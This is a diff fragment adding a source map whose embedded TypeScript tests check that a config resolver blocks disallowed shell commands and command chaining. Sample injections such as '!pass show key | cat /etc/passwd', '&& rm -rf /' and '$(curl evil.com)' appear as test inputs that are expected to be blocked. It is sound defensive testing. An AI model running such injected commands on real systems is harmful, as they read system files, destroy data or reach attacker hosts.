line.includes(\"Blocked disallowed command\"));\n\t\tassert.equal(blocked, false, \"mycli should not be blocked when in the custom allowlist\");\n\t});\n\n\tit(\"previously-allowed prefix is blocked after override\", (t) => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tsetAllowedCommandPrefixes([\"sops\"]);\n\t\tconst result = resolveConfigValue(\"!pass show secret\");\n\t\tassert.equal(result, undefined);\n\t\tconst blocked = stderrChunks.some((line) => line.includes(\"Blocked disallowed command\"));\n\t\tassert.equal(blocked, true, \"pass should be blocked when not in the custom allowlist\");\n\t});\n\n\tit(\"clears cache when overriding prefixes\", (t) => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tresolveConfigValue(\"!mycli get-secret\");\n\t\tassert.ok(stderrChunks.some((line) => line.includes(\"Blocked\")));\n\n\t\tstderrChunks.length = 0;\n\n\t\tsetAllowedCommandPrefixes([\"mycli\"]);\n\t\tresolveConfigValue(\"!mycli get-secret\");\n\t\tconst blocked = stderrChunks.some((line) => line.includes(\"Blocked\"));\n\t\tassert.equal(blocked, false, \"Should re-evaluate after allowlist change\");\n\t});\n});\n"]}
+{"version":3,"file":"resolve-config-value.test.js","sourceRoot":"","sources":["../../src/core/resolve-config-value.test.ts"],"names":[],"mappings":"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","sourcesContent":["import { describe, it, beforeEach, afterEach } from \"node:test\";\nimport assert from \"node:assert/strict\";\nimport {\n\tresolveConfigValue,\n\tclearConfigValueCache,\n\tSAFE_COMMAND_PREFIXES,\n\tsetAllowedCommandPrefixes,\n\tgetAllowedCommandPrefixes,\n} from \"./resolve-config-value.js\";\n\n// The per-blocked-command stderr warning is opt-in (OTTO_LOG_BLOCKED_COMMANDS),\n// added in v1.0.9 for a quieter startup. This suite asserts on those warnings to\n// verify which commands get blocked vs allowed, so enable logging for the suite.\nconst originalLogBlocked = process.env.OTTO_LOG_BLOCKED_COMMANDS;\n\nbeforeEach(() => {\n\tprocess.env.OTTO_LOG_BLOCKED_COMMANDS = \"1\";\n\tclearConfigValueCache();\n});\n\nafterEach(() => {\n\tif (originalLogBlocked === undefined) delete process.env.OTTO_LOG_BLOCKED_COMMANDS;\n\telse process.env.OTTO_LOG_BLOCKED_COMMANDS = originalLogBlocked;\n});\n\ndescribe(\"SAFE_COMMAND_PREFIXES\", () => {\n\tit(\"exports the allowlist array\", () => {\n\t\tassert.ok(Array.isArray(SAFE_COMMAND_PREFIXES));\n\t\tassert.ok(SAFE_COMMAND_PREFIXES.length > 0);\n\t});\n\n\tit(\"includes expected credential tools\", () => {\n\t\tassert.ok(SAFE_COMMAND_PREFIXES.includes(\"pass\"));\n\t\tassert.ok(SAFE_COMMAND_PREFIXES.includes(\"op\"));\n\t\tassert.ok(SAFE_COMMAND_PREFIXES.includes(\"aws\"));\n\t});\n});\n\ndescribe(\"resolveConfigValue — non-command values\", () => {\n\tit(\"returns the literal value when it does not match an env var\", () => {\n\t\tconst result = resolveConfigValue(\"my-literal-key\");\n\t\tassert.equal(result, \"my-literal-key\");\n\t});\n\n\tit(\"returns the env var value when the config matches an env var name\", () => {\n\t\tprocess.env[\"TEST_RESOLVE_CONFIG_VAR\"] = \"env-value\";\n\t\tconst result = resolveConfigValue(\"TEST_RESOLVE_CONFIG_VAR\");\n\t\tassert.equal(result, \"env-value\");\n\t\tdelete process.env[\"TEST_RESOLVE_CONFIG_VAR\"];\n\t});\n});\n\ndescribe(\"resolveConfigValue — command allowlist enforcement\", () => {\n\tit(\"blocks a disallowed command and returns undefined\", (t) => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tconst result = resolveConfigValue(\"!curl http://evil.com\");\n\t\tassert.equal(result, undefined);\n\t\tassert.ok(stderrChunks.some((line) => line.includes(\"curl\")));\n\t});\n\n\tit(\"blocks another disallowed command (rm)\", () => {\n\t\tconst result = resolveConfigValue(\"!rm -rf /tmp/test\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks a disallowed command with no arguments\", () => {\n\t\tconst result = resolveConfigValue(\"!wget\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"allows a safe command prefix to proceed to execution\", (t) => {\n\t\t// `pass` is unlikely to be installed in CI, so we just verify it does NOT\n\t\t// return undefined due to the allowlist check — it may return undefined if\n\t\t// the binary is absent, but the block path must not be taken.\n\t\t// We confirm by checking no \"Blocked\" message appears on stderr.\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tresolveConfigValue(\"!pass show nonexistent-entry-for-test\");\n\t\tconst blocked = stderrChunks.some((line) =>\n\t\t\tline.includes(\"Blocked disallowed command\")\n\t\t);\n\t\tassert.equal(blocked, false, \"pass should not be blocked by the allowlist\");\n\t});\n});\n\ndescribe(\"resolveConfigValue — shell operator bypass prevention\", () => {\n\tit(\"blocks semicolon chaining (pass; malicious)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key; curl http://evil.com\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks pipe operator (pass | evil)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key | cat /etc/passwd\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks && chaining (pass && evil)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key && rm -rf /\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks || chaining (pass || evil)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key || curl evil.com\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks backtick subshell (pass `evil`)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show `curl evil.com`\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks $() subshell (pass $(evil))\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show $(curl evil.com)\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks output redirection (pass > file)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key > /tmp/stolen\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks input redirection (pass < file)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key < /dev/null\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"writes stderr warning when shell operators detected\", (t) => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tresolveConfigValue(\"!pass show key; curl evil.com\");\n\t\tassert.ok(stderrChunks.some((line) => line.includes(\"shell operators\")));\n\t});\n});\n\ndescribe(\"resolveConfigValue — caching\", () => {\n\tit(\"caches the result of a blocked command\", (t) => {\n\t\tconst callCount = { n: 0 };\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tcallCount.n++;\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tresolveConfigValue(\"!curl http://evil.com\");\n\t\tresolveConfigValue(\"!curl http://evil.com\");\n\t\t// The block warning should only fire once; the second call hits the cache\n\t\t// before reaching the allowlist check, so stderr count is 1.\n\t\tassert.equal(callCount.n, 1);\n\t});\n\n\tit(\"clearConfigValueCache resets cached entries\", (t) => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tresolveConfigValue(\"!curl 